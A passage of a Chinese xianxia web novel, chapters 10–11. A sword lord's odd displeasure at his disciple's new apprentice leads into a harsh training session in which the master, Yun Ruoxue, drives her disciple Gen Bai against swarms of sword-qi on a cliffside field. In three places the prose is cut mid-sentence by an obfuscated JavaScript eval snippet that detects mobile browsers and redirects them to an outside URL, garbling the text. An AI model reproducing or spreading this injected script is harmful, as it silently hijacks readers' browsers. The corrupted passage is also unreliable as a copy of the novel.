他早闻谢晟大名,中州首屈一指的天才人物,千年来无人能望其项背,清高孤傲,离群索居。 实在没想到今日能一睹剑尊真容,看来他这个便宜师父面子还真不小。但也实在没想到……对方似乎对自己颇有……不满? 他可从没有得罪这么个人物啊!总不能是他方才行礼太慢,就这么轻易将人得罪了吧?堂堂剑尊就这么小气吗? “我这徒弟愚钝,无意冒犯,还请师尊见谅。”云若雪不动声色将亘白护在身后,也隐隐觉察出谢晟态度的异常。 照理来说,亘白如今并未修炼邪功,老老实实在她眼皮子底下待着,谢晟何故生疑?莫非是从前有过纠葛? 不会这么巧吧? 她正是思绪纷乱时,谢晟却先开口,“在你心里,为师就是这般心胸狭隘之人?” “不。”她忙出声否认,面上又挂起假笑,“师父心胸宽广,百忙之中能来观礼,是弟子的荣幸。” 亘白终于上道,连忙附和,“也是徒孙的荣幸。” 气氛缓和些许。 站在一旁的好些个长老连忙七嘴八舌站出来打圆场,“尊上这一出关,修为怕是又精进不少。” “恭喜恭喜。” “亲传大弟子收了徒弟,你这做师祖的总不能没有点表示?”薛长老挤到人群前面,朝亘白挤眉弄眼,明目张胆地示意他赶紧说点好话敲诈一笔。 亘白还想着方才那暗地里威压悬顶的恐惧感,可不敢再造次。 这漫漫仙途,最是残酷,最是弱肉强食,假使谢晟今日心里不舒坦,就是将他就地斩杀于殿前,众目睽睽之下,这里的人也不敢有半分龃龉。 至于云若雪,他悄悄瞥了眼,两人一对上眼神,互相都藏不住嫌弃。 啧,还是算了吧。 他们一对半路师徒,貌合神离,两人加起来,再乘以十,都打不过一个谢晟。 谢晟闻言倒是十分干脆抛出一个锦囊,目光扫过一圈,众人默默退后半步,最后落到亘白身上,“剑山还不至于养不起一个弟子。” “你既对阿云有救命之恩,太虚宗不会亏待了你。” 亘白捧着怀中的锦囊,脑子都快转冒烟了,小心翼翼瞥向云若雪。 什么救命之恩?这疯女人到底在谢晟面前编造了什么?不会是他们俩于兽潮中相逢,然后同生共死,舍命相救的感人故事吧? 某种程度上,还真教他猜得一点不差。 师徒二人交换过目光,他忍不住在心底将云若雪狠狠夸赞了一番,真是颠倒黑白的个中高手。 旋即,又被云若雪按着行礼。 “多谢师祖!” 谢晟看着两人,眸光深沉,不发一言便转身离去。 眨眼间,大殿内只余一阵凛冽的松木香,夹杂三分寒意,仙人的身影早已不知飘向何处。 乌鸿拨开人群重新挤出来,也是一头雾水,下意识看向谢铮等他拿主意,压低了嗓音,“师父这是怎么了?怎么感觉哪里怪怪的?” “走,回去修炼。”谢铮拉着他离开,江丛莹紧跟上去。 几人一走,殿中气氛顿时松快不少,好些个活泼的小弟子将亘白围了个水泄不通,满脸好奇,等着看他拆礼物。 云若雪摇头失笑,半推半就被孟檀拽着先行离开。 两人转过山水堆砌的木屏风,拐到后殿,清风撞开半扇拱门,一方小院陡然铺开,石板路蜿蜒如带,绕向一方清泉,曲折向前。亭台楼阁处,廊腰缦回,空气都清新许多。 孟檀刻意压低了嗓音朝云若雪靠过去,一脸神秘,“你说……” “什么?” 她欲言又止,到底是忍住了,没有将方才心底那荒谬的猜测说出来,可抓心挠肝,十分不得劲,堂堂仙尊,出席弟子的拜师礼本无可厚非,但态度实在耐人寻味。 “算了算了。”她果断转移话题,凑上前去一脸八卦,“你这年纪也不小了,这么多年就碰到什么心仪的人?” “心仪的人?何出此言?”云若雪不明所以。 “你就直说有没有,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云若雪偏过头,上下打量她几眼,真诚发问,“你隔三差五就换道侣,还尽知道哄骗涉世未深的小弟子,还没找到真心喜欢的吗?薛长老没有禁闭也是个奇迹。” “你这话我可不爱听,什么哄骗,那是你情我愿,分开了也是有缘无分嘛。” 云若雪轻啧一声,摆摆手便闪身离开,连影子也没留下。 她这个好友,哪儿都靠谱,偏偏就是喜欢沾花惹草。在戒律堂当值的时候,那是要多正直有多正直,绝对的秉公执法,修炼上也不曾懈怠。可一到了感情上,那便是花言巧语,连哄带骗。 以往,她身为宗门首席,又与孟檀私交甚密,可是不止一次被年轻小弟子找上门来哭诉,一把鼻涕一把泪,要她站出来主持公道,算那一笔笔感情上的糊涂账。 想起来都头疼! 幸好她躲下山去了! 10. 剑场 “唉!你别走啊!我话还没说完!”孟檀想拦已是来不及,收回目光,低声咕哝两句,“本姑娘纵横情场这么多年,方才尊上明明就是生气了……” 至于为何会生气……她可不敢妄加揣度。 早年,他们二人患难与共,躲避仇敌追杀,互相扶持,一直到共同重建太虚宗,形影不离,在这九州四海内都堪称一段佳话。 但宗门成立后,云若雪反倒是拜入了谢晟门下,成了他的徒弟。 好好一段佳话,就这么完完全全偏离了众人的设想。 后来,两人当真以师徒相处,长辈宽容,晚辈恭敬,无丝毫逾矩之处,让人挑不出毛病。 渐渐的,众人也以为过往之事不过是误会一场,话本子看多了,瞧见一男一女站在一起就想给人凑成一对,实在可笑。 孟檀收拢思绪,寻了个凉亭坐下,继续琢磨。 可今日瞧这仙尊的言行,看不出一点欢欣,反倒是藏着些许不悦。 修道之人本就清心寡欲,最忌大喜大悲。谢晟那般深厚的修为,尊崇的地位,怕是早已心似静海,念头通达。这世间事都少有能让他情绪波动的。 总不能真是因为一个刚入门的晚辈暗戳戳吃醋吧? 她顿时一惊,周遭明明没有风,愣是起了一身鸡皮疙瘩。 “师叔,孟师叔!” “嗯?” 孟檀本就在脑子里琢磨些见不得人的事,神飞天外,忽然被不远处的声音点名,一阵心虚,定睛看去,原来是她的小师侄,“怎么了?” 薛朔站在凉亭外,靴子斜对着不高的石阶,身姿挺拔如风中直立的小白杨,风吹起时鬓发凌乱,更显得少年似一副勃勃生机的画卷,明媚得扎眼。 “师父让弟子来寻你,说戒律堂有些事需要商讨。” “大师兄找我能有什么事?”孟檀眼底掠过疑惑,嘀咕两句,极不情愿站起身,但见到薛朔那张漂亮的脸蛋,心底那一丝丝不愉快就飞快散去了。 喜欢随便撩拨人的本性也暴露无遗。 她抬手揽上薛朔的肩膀,眉眼艳丽,吐气如兰,略微向上挑起的眉梢带着万种风情。 细看,又是洒脱豪放,教人生不出厌恶和抵触。 “走,带我去看看。” 薛朔身形一僵,反应十分迅速,一把就把她推开了,连连退后三两步,面上神情严肃,“师叔自重。” 孟檀本无心撩拨,这下反而被他勾起了兴致,眉眼一弯,笑意吟吟,“你这是说的什么话?” “师父特意交待弟子要与师叔保持距离。”薛朔老老实实将一切都供出来,临了,依旧是义正词严,神情认真,“还请师叔自重!” 孟檀轻啧一声,摆摆手不与他为难,“走吧,带路。” 这小师侄可是她师兄的心肝宝贝,唯一的亲传大弟子,偏偏师兄又是薛长老的亲侄子,她若是招惹上,怕不是要被两人给活活撕了! 想想那场面,被师兄和师父混合双打,顿时一个激灵。 罢了罢了。 …… 前殿。 亘白收礼收到手软,等到人群三三两两似云霞散去,无处可觅,他才晃晃悠悠朝琼华院的方向走去,路上不自觉哼着歌,心情美妙。 正是午后,日光明媚。 仰头向顶端看去,望云殿高踞云巅,绕着朦胧的层云,却遮不住一片肃杀凛冽之气。云隙之间偶尔漏出几缕剑光,银亮得像淬了冰,于日光下折射出道道寒芒。 琼华院,恰是整个剑山中离望云殿最近的住所。 行至高处,寒气逼人。 之前有云若雪带着,他并未觉得这剑山有多大,今日自己一个人逛,才真正大开眼界。 越是靠近山巅,那终年不散的剑气越是携一阵迫人的威压,大风起时,飘过的云团都被割得丝丝缕缕,在半空扯出薄如蝉翼的云絮,与地面的碎雪堆积成一片干干净净的白。 等站到琼华院门口,亘白已经是四肢发软,双手撑在膝盖上,弓着腰气喘吁吁,脸色发白,再看不到方才明媚的笑容。 这山……这山它是真高啊。 双手触碰上结界,他一个趔趄,差点被弹飞出去。 “哎哟喂!” 等反应过来,亘白连忙稳住身形,从腰间取下身份牌,黑色的檀木,质地沉重冰凉,牌面上刻了他的名字和在宗门里的辈分排行,“亲传”二字嵌在角落,镶着金边,斜日照射下泛着淡淡的光辉。 他回忆起先前执事弟子教授的法诀,口中默念,食指与中指并拢,指尖抵上木牌背面的刻痕,缓缓渡入灵力。 一阵细微的刺痛,刹那间,木牌轻颤,漾开一圈圈半透明的水纹,刚触上结界,便化开一道半人宽的缝隙,缓缓拉开,凭君畅行。 快速越过门槛,结界重又合上,无声无息。 琼华院中一片寂静,虽繁花似锦,景色宜人,但乍一看,却像块无主的荒地,平添三分冷清。 “师父?师父你在哪儿呢?” 他一路走一路找,将之前没有探索的“领地”通通巡视一圈,只差没有将小园里的假石也翻过来瞧上两眼。 末了,蹑手蹑脚推开了云若雪的院门,院中一片冷清,几乎没有什么装饰物,收拾得整洁干净又敞亮,就连路面的石子都铺陈得规规矩矩,让人一眼看过去极度舒适。 转了一圈,愣是没有瞧见半个人影,连卧房的结界都没有设,轻轻推开一条缝,里面寂静无声,只有香炉里飘着几缕青烟,袅袅向上,晕染开一股冷冽的香。 等他转悠半天,已是天近傍晚,夕日欲垂。 终于歇了心思,回到竹园,推开房门,檀木桌面上明目张胆躺着一块玉牌。 刚一拿起,似乎有所感一般,云若雪冷淡的声音便从里面传出来,清晰入耳,“带上双刀,来后山剑场找我。” “什么?什么剑场?”他一头雾水,可听到剑场这名字便知道情况不简单,松快的心情顿时散了个一干二净。 话音刚落,手中羊脂膏般温润的玉牌忽然震动起来,由内而外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128443|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂开细密的纹路,他手一抖,摊开手掌,簌簌落下的细小碎石化作点点莹白流光,在空中游荡两圈,汇聚成一只灵动的纸鹤。 少年顿时满脸黑线,“不过是个传音玉牌,枉费你弄得这么花里胡哨……” 云若雪那边,刚练完剑,酣畅淋漓,正抱剑而立,声音在呼啸的冷风里显得缥缈不定,幽幽传来,“花哨吗?我还以为这是你喜欢的风格。” 亘白当即反应过来她这是意有所指,拔高了音量,“谁喜欢了?你才喜欢,你全家都喜欢!” 当时初见,他不过图个好玩,又看云若雪一身正气凛然,两人互相交付生死,才在那黑漆漆的洞穴中撒了漫天荧光。 不提这事便罢,一提起,他可忘不了云若雪下一刻就对他拔剑,一剑便毁了他的丹田,痛入骨髓,恨如潮水。 通讯另一头,云若雪轻声失笑,“来剑场。” “知道了知道了。” 他神色恹恹,主动挥手掐断了通话,那化作纸鹤形状的传讯符在室内盘旋两圈,悠悠然朝着大门外飞去,亘白忙不迭追上去。 所谓剑场,恰在剑山背后,一片断壁孤崖,乱石堆叠,碎雪遍地。 向下是直挺挺的峭壁,猝然断裂,好似被一柄锋利的斧头斩断一般,直通幽幽山谷的底部。向上也是一片陡峭的断崖,只能眺望见山巅望云殿高耸,遗世独立,两片檐角飞出云雾以外,容颜半露。 纸鹤扑腾着翅膀,他运转体内灵力,脚下加速,终于抵达目的地。 这一片巨大的平地突兀地出现这丛丛碎石之间,脚踩上去,被剑气震碎的冰碴咯吱作响。举目眺望,远处的拔地而起的崖面上遍布细密的剑痕,头顶盘旋着不散的剑气,凌厉霸道,余威不减。 在一片茫茫风雪中,云若雪单手挽起剑花,衣袂翻飞,一个旋身,肃杀之气扑面而来,惊得亘白连连后退。 “哎哎哎,你干什么!” 他做出一副防备的姿态,明显是一朝被蛇咬,十年怕井绳。 收了剑势,云若雪目光瞥向他,“从今日起,你就随我在此地修炼。” “在这里?修炼?”亘白不可置信地环视一圈。 在那遍地堆积的碎石里插着不少锈迹斑斑的断剑,一个个剑身斜指着天,淹没在枯黄的韧草中,风吹石动,鸣声清脆,此外,除了乱石便是碎雪,除了碎雪便是乱石。 这修炼条件简直是清晰可见的艰苦! “有问题?” “好好的琼华院你不待着,这里有什么好的!”亘白哀叹一声。 他都已经被毁了丹田,被迫混到太虚宗,还成了中州剑仙谢晟的徒孙,战战兢兢跟在这女魔头身边苟命,难道还要过比以前当邪修时更凄苦的日子吗! 云若雪闻言抬头看了眼在头顶盘旋的丛丛剑气,朝他抬首,“将昭玄和昭黄拿出来。” 他不情不愿照做。 双刀刚握在手中,下一刻,一股巨力自脚底传来,将他轻易掀飞出去,直直砸向空中那一丛威压迫人的剑气—— 11. 莫辜负 “啊——”少年一声凄厉的惊叫,“女魔头,你不得好死!” 话音未落,道道剑气铺天盖地袭来,织就成一张细密的大网,满是肃杀之气。 亘白攥紧刀柄,翻身躲过脖颈处致命一击,那凌厉的剑意便在肩膀上豁开一道不深不浅的口子,鲜血喷涌而出,染红了大片衣衫。 来不及呼痛,这生死关头,他抽刀而出,一边抵挡一边狼狈躲避,堪堪落到地上,还没站稳,环绕天际的剑气居然紧追下来,久久盘旋,不经意之间便已将他重重围困。 亘白一脸绝望,偏头瞪向罪魁祸首。 云若雪依旧抱剑而立,远远站在峭壁边缘,山风卷起衣角,一双美目眸光流转,却淬三分寒意,显然是不打算出手相助。 他收回目光,肩头的血珠已顺着臂弯滑向雪白的刀刃,双刀沾上血气,迸发出阵阵嗡鸣,杀意四起,撞上围攻而来的剑气,震得亘白虎口发麻。 少年稳住心神,足尖在乱石堆上狠狠一点,旋身而起,昭玄向上划出半圈弧度,斜断一道劈面而来的剑气,紧接着更多的剑气如雨点劈头盖脸砸下来。 他欲抬起昭黄刀挡下攻击,一个不察,手臂又被划开伤口,这才惊觉自己的招式毫无章法,处处都是破绽。 一愣神间,背后泛起冻入骨髓的寒意,近乎激起他骨子里的惊骇,回身格挡已是来不及,下一刻,猝然撞入满腔扑鼻的冷香中。 欺霜剑鸣,铿然震碎满地剑气,冰花随风凝结,悍然便铺就满地,似乎连风都被冻住了,那道道凌厉的剑气瞬间消散得无影无踪,去似晨露。 亘白感受到贴在腰部的手,身形一僵,整个人都被笼在一层似有若无的冷淡木质香中,雪下,便是暗香浮动,朦胧不可琢磨。 “专心,继续。” 云若雪与他拉开距离,甫一收剑势,天上的剑气便卷土重来。 亘白还没来得及踹口气,肩膀和手臂上的伤口一阵尖锐的刺痛—— 云若雪竟是生生点了他的穴道,匆忙附上两道法诀止血,便又将他推出去与那密如罗网的剑气斗争。 “你这人怎么……”他一边骂骂咧咧一边提刀与剑气相抗。 云若雪在旁边闲不住,旋即,也提剑加入战局。欺霜剑一出,将这整个荒僻无人的剑场搅了个天翻地覆,悬在头顶的剑气躁动得更厉害,近乎是倾巢而出,自上而下倾轧下来。 亘白咽了口唾沫,一咬牙,硬着头皮上。 天地之间一片刀光剑影,兵刃相接,鸣声急促,只看得见片片残影。云若雪已然是杀到了尽兴,被欺霜剑搅碎的剑气来不及消散,一丛丛自天际坠落,像一场密集的银色暴雨,还没等沾到地上就已被大风吹散。 “双刀可不是这么使的。” 她抬手替亘白挡下自腰侧刺来的剑气,一个旋身,贴到他背后,指尖两簇荧光,温吞缓和的力道,带着他的躯体摆出对敌的招式。 天空不知何时竟然飘起了细碎的雪,回风舞急。 亘白屏息凝神,细细感知手腕的力道,一招一式,如拆解一个精巧的机关一般,一步步拆解开席卷而来的剑气,动作由最开始的生疏迟滞到后来似行云流水,浑然天成。 云若雪一点点松开手,放他自己去尝试。 他失了指引,稍稍有一瞬失神,旋即回过神来,照着先前的感觉继续,劈下一刀,侧身翻舞,黑色的靴子踏上片片乱石,闪身跳上石壁,躲开凌厉的一招,整个人灵活得似一条游鱼。 半透明的冰晶与雪花交杂落到少年的头顶和肩膀,浸湿了他薄薄一层被划破的衣衫,被稀释后的血水继续向下流,他却像是无知无觉一般。 云若雪站在一旁看了会儿,对自己的教学成果勉强满意,提剑重新加入战场。 师徒二人衣袂交叠,一白一黑,漫天风雪之中竟然配合得天衣无缝,好似从前演练过无数次一般。刀与剑势如破竹,一方攻便有一方守,荧光流转,灵气在山间回荡开巨大的波澜,劈开遮天蔽日的剑气。 云若雪决定给这场演练上上强度,闪身便拽着亘白向更高处去。 更高处,肆意穿行的剑气就更密集,更暴虐。 “唉——你等等等等——”亘白惊得连忙拉住她不放,细看,已是嘴唇发白,手脚累到颤抖,“还要再来?能不能让我歇会儿?” “我才刚开始修炼不久!”他咬牙切齿,拉着女修衣袖的手指已经发软到有些脱力,“您可真是贵人多忘事。” 若不是当初云若雪一剑刺穿他的丹田,教他累积的修为散了个干干净净,他何至于从头开始!以至于现在动两下就累成这样? 况且,云若雪方才带着他练的那一套刀法并不简单,他自知以他的修炼天分,今日参悟个一招半式已是极限,更多的……实在是有心无力。 云若雪手掌一翻,一把攥住他的手腕,嘴里吐出的句子格外不顾人死活,“怕什么,不会让你死的。” “这是死不死的问题吗!” 少年一声凄厉的哭嚎,洋洋洒洒落在风里,不知被吹到哪个犄角旮旯里去了,自然入不了云若雪的耳,依旧被人强行拽走。 “女魔头,你做个人吧!” 云若雪打断他的哀嚎,“好了,不要辜负你手中的双刀。” 说罢,师徒二人逆风而上。 云若雪掌心催动法诀,似潺潺流水,沿着二人相贴的肌肤无声蔓延,亘白惊觉脊背一暖,泛开一阵酥酥麻麻的痒,在这凛冽冷风中格外彰显存在感。旋即,暖意化开无形的力道,全然脱力的躯体居然瞬间恢复了生机! 手握双刀,云若雪的声音响在耳畔。 “也不要辜负我。” “闭上眼——” 在这重重危机之中,生死关头,他竟然鬼使神差地听从了她的安排,好似一只任人摆布的傀儡,一时分不清究竟是谁拥有操纵对方的权柄。 仿佛被一股力道摆弄着,他却生不出丝毫抵触的情绪,手中那一对叛逆不服管教的双刀此时竟然与他配合得天衣无缝,铿然撞上空中凌厉的网,丝毫不输气势。 漫天风雪之中,周遭的冷意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141229|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都退却了。 阖上眼时,不是茫茫一片黑,而是……重重人影,数不清的,凌乱的,翩若惊鸿,矫若游龙,那些辨不清的影子飞快舞动手中的双刀,一招一式,气势磅礴。 他努力追着那一团凌乱的影子,连周遭的围攻而来的剑气都忘却了,沉浸其中,循着那些招式,一点一点笨拙地复刻。 可诡异的,他竟身姿灵巧地从一片危机四伏中抽身而出,哪怕被追着,也是游刃有余的模样,连细碎的伤口划到身上都全然无感。 云若雪在不知不觉中早远远离开了他。 呜呜一片呼啸风声中,她独立高耸的崖壁,欺霜剑悬在身侧,眸光淡淡朝下方一瞥,神色莫测。 等少年彻底摆脱那一群难缠的剑气,远处天色已擦黑。 暮色四合时,藏匿在群峰中的殿宇亮起璀璨的灯火,沿着山脉的脊背向远方蔓延,好似卧着一条沉睡的巨龙,绵延不绝。 他收了势。 下意识找寻云若雪的方位,远远望过去,只能在昏昧的天色中瞥见一道模糊的身影,飘飘然立于风雪之中,好似这天地之间所有的孤寂都倾注到她一人身上。 无端的,他就是确信他们对上了眼神。 后知后觉,身上细密的伤口开始泛起让人难以忽视的痛,不仅仅是肩背上,胳膊上,腿上,后腰,简直密密麻麻,让人一时不知道从哪里开始下手医治。 他收了双刀,龇牙咧嘴朝云若雪的方向走去。 一瘸一拐,明明是一段不远不近的路,竟然也让他不由走神,想起方才那一场虚幻的体验……酣畅淋漓,是一回想起来就会忍不住浑身战栗的程度。 失神间,一个不察,竟然被脚边的碎石绊倒。 “哎哟喂——” “嘶——好痛好痛好痛!” 亘白捂着磕破皮的膝盖,简直是伤上加伤,疼得五官都扭曲了,在昏暗的暮色里更显得狰狞。 他朝云若雪招手,“师父!师父!你徒弟都摔了,你也不来关心一下!” 云若雪被吵得心烦,随风而动,闪身落到他身边,提起欺霜剑—— 一剑戳向他的伤口,手下力道不轻,可想而知,哪怕是隔着剑鞘,也是钻心刺骨的痛。 “哎哎哎——” 亘白这次倒是长了心眼,一直防备着她,见她手下一有动作,立马顾不得撕扯到伤口,翻身滚出半圈,险险避开那一击。 连连后退。 “别别别,有话好好说,别对我动手动脚的……” 云若雪收了剑,抬首示意他站起来。 亘白身子一抖,实在是没有多余的力气,整个躯体像是被强行拼凑到一起的机关零件,马上就要散架一般,耗尽了全部力气抬起手,示意她拉自己一把。 云若雪甫一伸出手,他立马又似被蛰了似地飞快收回。 “不行了不行了,起不来。” 云若雪沉了眉眼,默默无言,任由他在地上“哀嚎”,鹅毛大雪纷纷扬扬,淋了二人满头满脸,清凌凌刮在身上。